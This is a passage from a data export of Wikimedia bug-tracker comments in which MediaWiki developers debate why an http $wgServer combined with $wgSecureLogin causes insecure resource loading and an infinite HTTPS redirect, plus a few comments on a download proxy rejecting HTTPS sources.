+> redirect to HTTPS if server includes http://? That should be impossible.
+
+The change in https://gerrit.wikimedia.org/r/#/c/25530/1/includes/specials/SpecialUserlogin.php on line 152 is what does the redirect. It redirects to the output of wfExpandUrl with PROTO_HTTPS passed in. Since wfExpandUrl returns an http link, the page keeps redirecting.
+
+
+(In reply to comment #18)
+> This is imho not a bug. It is expected (and imho acceptable) behaviour.
+
+After reading up on the history of $wgServer, I tend to agree that setting $wgServer with http:// should mean that you don't have ssl available, so combining that with $wgSecureLogin = true is a conflict. I also think the codebase shouldn't have to identify and make a special case when the conflict occurs, and can assume configs are setup consistently. But, I can't think of anywhere else that we have 2 configuration parameters that can conflict to break the site, although I could definitely be wrong about that.
+
+I would prefer that when 2 configs are in conflict, and they have anything to do with security, we either put up a warning message so the admin knows that they messed up, or we assume the admin really meant to use the more secure one and we try to fix up the conflict. Is there consensus/precedence on which is preferred?",,,1349219970,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-5ck4jv4dtsufpjd3yyr6,task_subcomment,,True,c2,1,True,,,-48,True,0,1,0,1,1,1,1,0,1,1,1,1,0,0,1,1,0,1,1,1,1,1,1,0,1,1,1,0,1,1,0,1,1,1,1,1,0,0,1,1,0,1,0,1,0,1,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,1,1,1,0,1,1,0,1
+189682,http $wgServer with $wgSecureLogin should not infinitely self-redirect,"(In reply to comment #15)
+> There seems to be two related issues. Here are reproduction steps:
+> 
+> 1) http resources when viewing a page with https:
+> * using master from git
+> * configure $wgServer to start with 'http:'. I'm using ""http://localhost""
+> * view any page over ssl: https://localhost/wiki/index.php/Main_Page
+> 
+> Result: Most of the css and js resources are loaded from http urls (Chrome
+> refuses to load them, IE gives warnings, etc)
+> 
+> 2) Infinite redirect:
+> * using master from git
+> * configure $wgServer to start with 'http:'
+> * configure $wgSecureLogin = true;
+> * On any page, click the ""Log in"" link. The <a> points to an http:// url
+> 
+> Result: Because Special:UserLogin redirects to https if it detects it is being
+> viewed over http, you get an infinite redirect, because the Location header
+> points to an http:// url.
+
+2 is a bug, yes. I wonder how that happens. Where does MediaWiki produce a redirect to HTTPS if server includes http://? That should be impossible.",,,1349214188,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-5ck4jv4dtsufpjd3yyr6,task_subcomment,,True,c2,1,True,,,-48,True,1,0,0,1,0,1,1,1,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,1,0,1,0,1,0,0,0,1,1,0,1,1,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,1,0,1,1
+189676,http $wgServer with $wgSecureLogin should not infinitely self-redirect,"(In reply to comment #17)
+> (In reply to comment #12)
+> > How is that a security vulnerability? wfExpandUrl is by no means a security
+> > measure, and PROTO_HTTPS is nowhere documented nor intended to generate https
+> > urls. The argument to wfExpandUrl means the ""preferred protocol if there isn't
+> > any"", not the ""protocol that will be used in the url"".
+> > 
+> > To put it bluntly, if something relies on it  returning on https, then it is
+> > plain wrong. If that is the topic of this bug, then afaik we can close this as
+> > an invalid bug.
+> > 
+> > Please describe (or show) the code that is passing PROTO_HTTPS to wfExpandUrl.
+> 
+> You may be right that something relying on wfExpandUrl to return HTTPS is
+> wrong, but there are still many places in the core that do this exactly. Like
+> Chris said above, loading default MediaWiki from Git and then going over to
+> HTTPS causes all resources to be loaded over an insecure connection. Not only
+> is this a usability problem since Chrome will refuse to load those resources,
+> but it is a security vulnerability because you now have load.php and api.php
+> requests going over an insecure connection, opening up MediaWiki to JS
+> injections and leakage of sensitive information. Just because wfExpandUrl isn't
+> a security measure does not mean it cannot cause security problems.
+
+This is imho not a bug. It is expected (and imho acceptable) behaviour. For the same reason that we include the configured hostname, we include the configured protocol. Though I agree the following comparison does not relate to SSL, the fact that your issue above does is imho an unrelated coincidence and result of misconfiguration on the administrators part.
+
+Imagine I set up a wiki with wgServer='http://example.org' and then I set up http://localhost/ pointing to the same server. Oh noes, when I access over localhost everything points to example.org. That's not a mediawiki bug, but a configuration issue! Either redirect one to the other, set them up as 2 wikis (e.g. a if/else or switch construct by hostname and configure wgServer and/or wgDBname based on that) or (recommended) make sure the configuration is properly set up for either scenario.
+
+Give me one good reason why anything should work on https://wiki.example.org/ if the wiki is configured and ""told"" by the administrator that it is served from http://wiki.example.org. Fix your configuration?",,,1349214144,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-5ck4jv4dtsufpjd3yyr6,task_subcomment,,True,c2,1,True,,,-48,True,1,1,0,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0,1,0,1,1,0,1,1,1,1,1,1,1,1,1,0,0,0,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,0,0,1,1,1,0,1,1,0,1,1,1,1,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,1,0,0,1
+189669,http $wgServer with $wgSecureLogin should not infinitely self-redirect,"(In reply to comment #12)
+> How is that a security vulnerability? wfExpandUrl is by no means a security
+> measure, and PROTO_HTTPS is nowhere documented nor intended to generate https
+> urls. The argument to wfExpandUrl means the ""preferred protocol if there isn't
+> any"", not the ""protocol that will be used in the url"".
+> 
+> To put it bluntly, if something relies on it  returning on https, then it is
+> plain wrong. If that is the topic of this bug, then afaik we can close this as
+> an invalid bug.
+> 
+> Please describe (or show) the code that is passing PROTO_HTTPS to wfExpandUrl.
+
+You may be right that something relying on wfExpandUrl to return HTTPS is wrong, but there are still many places in the core that do this exactly. Like Chris said above, loading default MediaWiki from Git and then going over to HTTPS causes all resources to be loaded over an insecure connection. Not only is this a usability problem since Chrome will refuse to load those resources, but it is a security vulnerability because you now have load.php and api.php requests going over an insecure connection, opening up MediaWiki to JS injections and leakage of sensitive information. Just because wfExpandUrl isn't a security measure does not mean it cannot cause security problems.",,,1349199087,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-5ck4jv4dtsufpjd3yyr6,task_subcomment,,True,c2,1,False,,,-48,True,1,1,0,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,1,0,1,0,1,1,0,1,1,1,1,1,1,1,1,1,0,0,0,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,0,0,1,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+189664,http $wgServer with $wgSecureLogin should not infinitely self-redirect,"(In reply to comment #7)
+> The problems we have aren't solved by introducing that, and introducing that
+> pattern is already possible without those 2 variables:
+> 
+> > $wgServer = isHttps() ? 'http://example.org' : 'https://example.org';
+
+This is the route that I think is ugly, but I'm starting to think might be the least evil of the options. I used this:
+
+if ( $wgSecureLogin === true && substr( $wgServer, 0, 7 ) === 'http://' ) {
+    $wgServer = substr( $wgServer, 5 );
+}",,,1349195969,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-5ck4jv4dtsufpjd3yyr6,task_subcomment,,True,c2,1,True,,,-48,True,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,1,0,0,1,0,1,1
+189660,http $wgServer with $wgSecureLogin should not infinitely self-redirect,"There seems to be two related issues. Here are reproduction steps:
+
+1) http resources when viewing a page with https:
+* using master from git
+* configure $wgServer to start with 'http:'. I'm using ""http://localhost""
+* view any page over ssl: https://localhost/wiki/index.php/Main_Page
+
+Result: Most of the css and js resources are loaded from http urls (Chrome refuses to load them, IE gives warnings, etc)
+
+2) Infinite redirect:
+* using master from git
+* configure $wgServer to start with 'http:'
+* configure $wgSecureLogin = true;
+* On any page, click the ""Log in"" link. The <a> points to an http:// url
+
+Result: Because Special:UserLogin redirects to https if it detects it is being viewed over http, you get an infinite redirect, because the Location header points to an http:// url.",,,1349194064,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-5ck4jv4dtsufpjd3yyr6,task_subcomment,,True,c2,1,True,,,-48,True,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,1,1
+189656,http $wgServer with $wgSecureLogin should not infinitely self-redirect,"(In reply to comment #13)
+> My general feeling is that whenever $wgServer is mentioned (in discussions or
+> in code), it's always a guessing game with its value is. HTTP, HTTPS,
+> protocol-relative? And this guessing game has a cost. An alternative approach
+> is to be explicit in the variable name itself, so that there's less ambiguity.
+> 
+
+I don't see the problem here. $wgServer is a configuration variable to set how MediaWiki should represent self-reference urls. If only HTTP or HTTPS is supported (most common) it is set to one of those. Having a $wgHTTPSServer variable doesn't make sense. What would you set it to if a server only supports HTTP, I guess you'll have to set it to http:// then because the server doesn't have https. And what if both are supported (like on Wikipedia), which does it use in the parser? Neither, because those urls can (and should be) without protocol so that they are relatively interpreted by the browser, because the visitor can be on either http or https.
+
+$wgServer indicates what the server supports. http, https or both.
+
+And in most cases $wgServer can/should be used as-is (without trying to expand it). And if a server preference is needed, then it can be ran through wfExpandUrl (e.g. for wgSecureLogin it will expand to HTTPS if the server supports that. Obviously if the server doesn't support HTTPS it shouldn't try to link there as it would be a broken link pointing to a server error. And if you don't support HTTPS, well, then it doesn't make sense to enable wgSecureLogin. Either way enabling wgSecureLogin when not supported is harmless afaik, it simply maintains http as it would other wise).
+
+Before we get into a very generic discussion, what is the actual bug here? What is the problem? How to reproduce this redirect problem?",,,1349159713,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-5ck4jv4dtsufpjd3yyr6,task_subcomment,,True,c2,1,True,,,-48,True,0,0,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,1,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0,1,0,0,0,1,0,1,1,1,0,0,0,1,1,1,1,1,0,0,0,1,1,1,1,1,0,1,0,0,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,1,1,1,1,1
+189653,http $wgServer with $wgSecureLogin should not infinitely self-redirect,"(In reply to comment #10)
+> (In reply to comment #7)
+>> There is no need to have two variables.
+> 
+> Except if you want to have different URLs for HTTP and HTTPS, I think that was
+> MZ was after.
+
+That's one use-case, yes. I think secure.example.com is still fairly common, but I'm personally not too concerned with this.
+
+My general feeling is that whenever $wgServer is mentioned (in discussions or in code), it's always a guessing game with its value is. HTTP, HTTPS, protocol-relative? And this guessing game has a cost. An alternative approach is to be explicit in the variable name itself, so that there's less ambiguity.
+
+And there seems to be more and more of a reliance (in code) on the principle that http/https will be equivalent, but again, I'm not too concerned with this.
+
+> As you might have guessed, $wgCanonicalServer is currently set to
+> ""http:$wgServer"" on WMF wikis. I deliberately designed it so it could be
+> switched to https later, that's why it's separate from $wgInternalServer (used
+> for Squid purges, will still need to be http).
+
+Thank you for explaining this.",,,1349157495,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-5ck4jv4dtsufpjd3yyr6,task_subcomment,,True,c2,1,True,,,-48,True,0,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1
+189649,http $wgServer with $wgSecureLogin should not infinitely self-redirect,"(In reply to comment #11)
+> The primary problem right now is that there exists a case where giving
+> PROTO_HTTPS to wfExpandUrl() does not give an HTTPS uri. This is a security
+> vulnerability, as well as the root for possible bugs. So the main question is:
+> why does wfExpandUrl do this, and what will happen if we change it?
+
+How is that a security vulnerability? wfExpandUrl is by no means a security measure, and PROTO_HTTPS is nowhere documented nor intended to generate https urls. The argument to wfExpandUrl means the ""preferred protocol if there isn't any"", not the ""protocol that will be used in the url"".
+
+To put it bluntly, if something relies on it  returning on https, then it is plain wrong. If that is the topic of this bug, then afaik we can close this as an invalid bug.
+
+Please describe (or show) the code that is passing PROTO_HTTPS to wfExpandUrl.",,,1349156037,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-5ck4jv4dtsufpjd3yyr6,task_subcomment,,True,c2,1,True,,,-48,True,1,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,1,1,1,0,1,1,1,1,0,0,0,0,1,1,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+189644,http $wgServer with $wgSecureLogin should not infinitely self-redirect,"The primary problem right now is that there exists a case where giving PROTO_HTTPS to wfExpandUrl() does not give an HTTPS uri. This is a security vulnerability, as well as the root for possible bugs. So the main question is: why does wfExpandUrl do this, and what will happen if we change it?",,,1349155016,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-5ck4jv4dtsufpjd3yyr6,task_subcomment,,True,c2,1,False,,,-48,True,0,0,0,0,1,1,1,0,0,1,1,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+189637,http $wgServer with $wgSecureLogin should not infinitely self-redirect,"(In reply to comment #7)
+> There is no need to have two variables.
+Except if you want to have different URLs for HTTP and HTTPS, I think that was MZ was after.
+
+> The problems we have aren't solved by introducing that, and introducing that
+> pattern is already possible without those 2 variables:
+> 
+> > $wgServer = isHttps() ? 'http://example.org' : 'https://example.org';
+> 
+> We don't need the other value anyway when in the other request type.
+> 
+That doesn't actually work, it causes pollution of the parser cache, see my previous comment.
+
+> Except that we do, which is why we have a canonical protocol for API responses.
+To expand on this: we have $wgCanonicalServer, which is a fully-qualified (i.e. with protocol) version of $wgServer that is used when building URLs that will be used outside of the context of an HTTP(S) request, or where using protocol-relative URLs won't work or doesn't make sense for some other reason. The typical examples of this is are URLs in notification e-mails and in the recentchanges IRC feeds. In the API, we resolve protocol-relative URLs using the protocol of the current request, and we split the API Squid cache by protocol for this reason; $wgCanonicalServer only comes into play when dealing with things like the externallinks table (see below).
+
+$wgCanonicalServer is used in two different ways:
+* when building URLs to wiki pages, or expanding URLs like /wiki/Foo , the URL is prefixed with $wgCanonicalServer instead of $wgServer
+* when we encounter a protocol-relative URL that came from somewhere else (e.g. externallinks table in the API), we use $wgCanonicalServer to decide which protocol to put on it
+
+As you might have guessed, $wgCanonicalServer is currently set to ""http:$wgServer"" on WMF wikis. I deliberately designed it so it could be switched to https later, that's why it's separate from $wgInternalServer (used for Squid purges, will still need to be http).
+
+As for actual plans to switch the canonical protocol to HTTPS, that's a question for Ryan. In the meantime, Chris's cookie-based redirection feature should reduce the annoyance of HTTP links in e-mail notifications, because people that receive these e-mails are usually logged in when they receive them, so they'll automatically be redirected to HTTPS.",,,1349148037,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-5ck4jv4dtsufpjd3yyr6,task_subcomment,,True,c2,1,False,,,-48,True,1,0,1,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,0,1,1,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,0,0,0,1,1,0,1,1,0,1,1,1,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,0,1
+189629,http $wgServer with $wgSecureLogin should not infinitely self-redirect,"(In reply to comment #0)
+> When $wgServer has a scheme, i.e., it is not protocol-relative, which happens
+> to be the default, wfExpandUrl( ..., PROTO_HTTPS ) will give an HTTP link. This
+> causes ResourceLoader content to be loaded over an insecure connection. It also
+> causes redirect loops when redirecting to HTTPS using wfExpandUrl.
+
+If your server supports HTTPS and redirects HTTP to HTTPS, why set $wgServer to an HTTP protocol? I'd say set it to HTTPS, or protocol-relative if you want to support both. This doesn't make sense..
+
+wfExpandUrl only expands the url, never changes it. If it contains http:// that is left alone, because users tend to set http for a reason, indicating it doesn't support https. Otherwise there is no reason to set it to http. 
+
+(In reply to comment #5)
+> (In reply to comment #2)
+> > Moreover, doesn't setting $wgServer to an HTTP URL result in HTTP URLs
+> > appearing in articles, even when viewing them over HTTPS?
+> 
+> Yes, almost all links to load.php and api.php urls are full urls that start
+> with http://.
+
+That is, if $wgServer is set to a http://server
+
+If wgServer is set to a protocol-relative url, then it will (obviously) not do that.",,,1349147297,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-5ck4jv4dtsufpjd3yyr6,task_subcomment,,True,c2,1,True,,,-48,True,1,0,0,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,1,0,0,1,1,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,1,1,0,0,1
+189623,http $wgServer with $wgSecureLogin should not infinitely self-redirect,"(In reply to comment #6)
+> I guess I'm the only one in favor of killing $wgServer altogether?
+> 
+> I think a situation in which you have two variables—$wgHTTPServer and
+> $wgHTTPSServer—in which you explicitly define the secure and non-secure
+> canonical URL versions would be better from a wiki administration perspective
+> and a coding perspective. The protocol-relative magic feels very fragile to me.
+> 
+Well, you're not the only one in favor of having better configurability for what the HTTP and what the HTTPS URLs should be. Protocol-relative URLs are a useful tool to increase cache effectiveness if the http and the https URLs happen to be identical except for the 's', like on the post-secure.wm.o WMF cluster and presumably in most sane 3rd-party setups that support both HTTP and HTTPS. The way the code currently works that's also the *only* way you'll be able to avoid random cache pollution; if we wanted to support the HTTP and HTTPS URLs being different, work would have to be done to split the parser cache based on secure-ness if the HTTP and HTTPS URLs differ. However, we need to retain the ability to not split the cache and use protocol-relative URLs instead, otherwise WMF's parser cache would double in size.
+
+> I'm honestly not quite sure how disruptive trying to kill $wgServer would be,
+> though.
+Very. The reason things are the way they are now is precisely because when I implemented this last year, I tried to make my changes minimally disruptive. And they were quite disruptive still, it took me weeks and involved an extensive tour of the skeletons in our closed :) . Messing around with this more would probably take quite a lot of work to clean up all the various assumptions surrounding $wgServer, wfExpandUrl(), Title::getFullURL(), etc.
+
+The way I see it, the only gain to be had here would be that we would support setups where HTTP and HTTPS have different URL patterns (like WMF's setup in the secure.wm.o days). I don't know how common that is; I think most people would want them to be the same when they set up SSL. The only reason that we used a different domain name for HTTPS was because we were running a farm of wikis and hadn't built the required infrastructure to do SSL for all of the domains, with all the load balancing and caching stuff involved. The way we ""solved"" that was by having one domain name that pointed to one, non-load-balanced machine which bypassed the HTTP caches :D (this is why secure was slow), obviously that wasn't scalable.",,,1349147041,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-5ck4jv4dtsufpjd3yyr6,task_subcomment,,True,c2,1,False,,,-48,True,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,0,1,1,0,0,1,1,1,1,0,1,1,1,1,1,1,1,0,0,0,1,0,1,1,1,0,1,1,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1
+189617,http $wgServer with $wgSecureLogin should not infinitely self-redirect,"(In reply to comment #6)
+> I guess I'm the only one in favor of killing $wgServer altogether?
+> 
+> I think a situation in which you have two variables—$wgHTTPServer and
+> $wgHTTPSServer—in which you explicitly define the secure and non-secure
+> canonical URL versions would be better from a wiki administration perspective
+> and a coding perspective. The protocol-relative magic feels very fragile to me.
+> 
+
+There is no need to have two variables. Earlier last year (before we started using relative protocols) this is exactly what we had. By default we set $wgServer = 'http://example.org'; and on the secure servers to https.
+
+The reason we went for protocol-relative instead is because we now serve pages from the main servers, and we want to share the HTML cache. Having two variables solves nothing but introduces a lot of problems. Because that means you'll have to split the cache in a version where the HTML contains http:// everywhere and one with https://, since that is pointless and a problem already solved by the web, we use protocol-relative urls instead starting with //.
+
+The problems we have aren't solved by introducing that, and introducing that pattern is already possible without those 2 variables:
+
+> $wgServer = isHttps() ? 'http://example.org' : 'https://example.org';
+
+We don't need the other value anyway when in the other request type.
+
+Except that we do, which is why we have a canonical protocol for API responses.",,,1349146941,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-5ck4jv4dtsufpjd3yyr6,task_subcomment,,True,c2,1,True,,,-48,True,0,0,1,0,1,1,1,1,0,0,1,1,0,1,1,1,0,1,1,1,1,0,1,0,1,1,1,0,0,1,0,1,1,0,1,1,0,1,1,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,0,0,0,1,1,1,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1
+189610,http $wgServer with $wgSecureLogin should not infinitely self-redirect,"I guess I'm the only one in favor of killing $wgServer altogether?
+
+I think a situation in which you have two variables—$wgHTTPServer and $wgHTTPSServer—in which you explicitly define the secure and non-secure canonical URL versions would be better from a wiki administration perspective and a coding perspective. The protocol-relative magic feels very fragile to me.
+
+I'm honestly not quite sure how disruptive trying to kill $wgServer would be, though.",,,1349146160,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-5ck4jv4dtsufpjd3yyr6,task_subcomment,,True,c2,1,True,,,-48,True,0,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,1,1,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,1,0,0
+189604,http $wgServer with $wgSecureLogin should not infinitely self-redirect,"(In reply to comment #2)
+> Moreover, doesn't setting $wgServer to an HTTP URL result in HTTP URLs
+> appearing in articles, even when viewing them over HTTPS?
+
+Yes, almost all links to load.php and api.php urls are full urls that start with http://.",,,1349136463,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-5ck4jv4dtsufpjd3yyr6,task_subcomment,,True,c2,1,True,,,-48,True,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,1,1,0,0,1
+189598,http $wgServer with $wgSecureLogin should not infinitely self-redirect,"(In reply to comment #3)
+> (In reply to comment #2)
+> > Moreover, doesn't setting $wgServer to an HTTP URL result in HTTP URLs
+> > appearing in articles, even when viewing them over HTTPS?
+> 
+> This I have not tested, but note that this bug will only occur if wfExpandUrl()
+> is called, meaning if the link is relative (like most link URLs are AFAIK),
+> then it won't be a problem.
+Sure. But try this (fairly common) code snippet:
+
+[{{fullurl:{{FULLPAGENAME}}|action=edit&section=new}} Add a new section to this page]",,,1349134998,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-5ck4jv4dtsufpjd3yyr6,task_subcomment,,True,c2,1,False,,,-48,True,0,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,0,1,1
+189592,http $wgServer with $wgSecureLogin should not infinitely self-redirect,"(In reply to comment #2)
+> Moreover, doesn't setting $wgServer to an HTTP URL result in HTTP URLs
+> appearing in articles, even when viewing them over HTTPS?
+
+This I have not tested, but note that this bug will only occur if wfExpandUrl() is called, meaning if the link is relative (like most link URLs are AFAIK), then it won't be a problem.",,,1349134656,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-5ck4jv4dtsufpjd3yyr6,task_subcomment,,True,c2,1,False,,,-48,True,0,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,0,1,1
+189588,http $wgServer with $wgSecureLogin should not infinitely self-redirect,"Moreover, doesn't setting $wgServer to an HTTP URL result in HTTP URLs appearing in articles, even when viewing them over HTTPS?",,,1349134589,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-5ck4jv4dtsufpjd3yyr6,task_subcomment,,True,c2,1,False,,,-48,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,1,1,1,1,0,0,0
+189583,http $wgServer with $wgSecureLogin should not infinitely self-redirect,"I believe the answer to this is ""don't set $wgServer to an insecure HTTP URL then"". AFAIK the HTTPS code doesn't support $wgServer values with http as the scheme, although the redirect loop is a nasty failure mode.
+
+Assigning to Chris because he wrote the HTTPS redirection code.",,,1349134540,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-5ck4jv4dtsufpjd3yyr6,task_subcomment,,True,c2,1,False,,,-48,True,0,0,0,0,1,1,1,1,1,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+42596,Cannot download from HTTPS sources using copy upload via url-downloader,"Any attempt to download files from HTTPS sources via url-downloader.wikimedia.org:8080 results in an error: Error fetching URL: Received HTTP code 403 from proxy after CONNECT
+
+I'm guessing this is just because the proxy wasn't setup to allow HTTPS...
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1348850580,1357822584.0,PHID-USER-6vzzsmi22zem6yttr6vp,False,,False,PHID-TASK-ahjiukxchfsw3d6z4opz,task_description,resolved,True,c2,1,True,False,True,-48,True,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+184049,Cannot download from HTTPS sources using copy upload via url-downloader,"(In reply to comment #4)
+> (In reply to comment #3)
+> > no requests to hosts within the Wikimedia network.
+> 
+> Will that be OK for bug 42473?
+
+No, but that seems unrelated to this bug. Access to Wikimedia hosts was and remains blocked, for security reasons. We may be able to open it up to specific destinations to resolve bug 42473, but that requires additional work, and is not blocked on this ticket.",,,1357822584,,PHID-USER-hovi6c77qompv5qd7gtz,False,,,PHID-TASK-ahjiukxchfsw3d6z4opz,task_subcomment,,True,c2,1,False,,,-33,True,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,1,0,0,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,1
+184044,Cannot download from HTTPS sources using copy upload via url-downloader,Reopened per comment 4.,,,1357778999,,PHID-USER-4opnqejtv7adgswtxy67,False,,,PHID-TASK-ahjiukxchfsw3d6z4opz,task_subcomment,,True,c2,1,False,,,-33,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+184038,Cannot download from HTTPS sources using copy upload via url-downloader,"(In reply to comment #3)
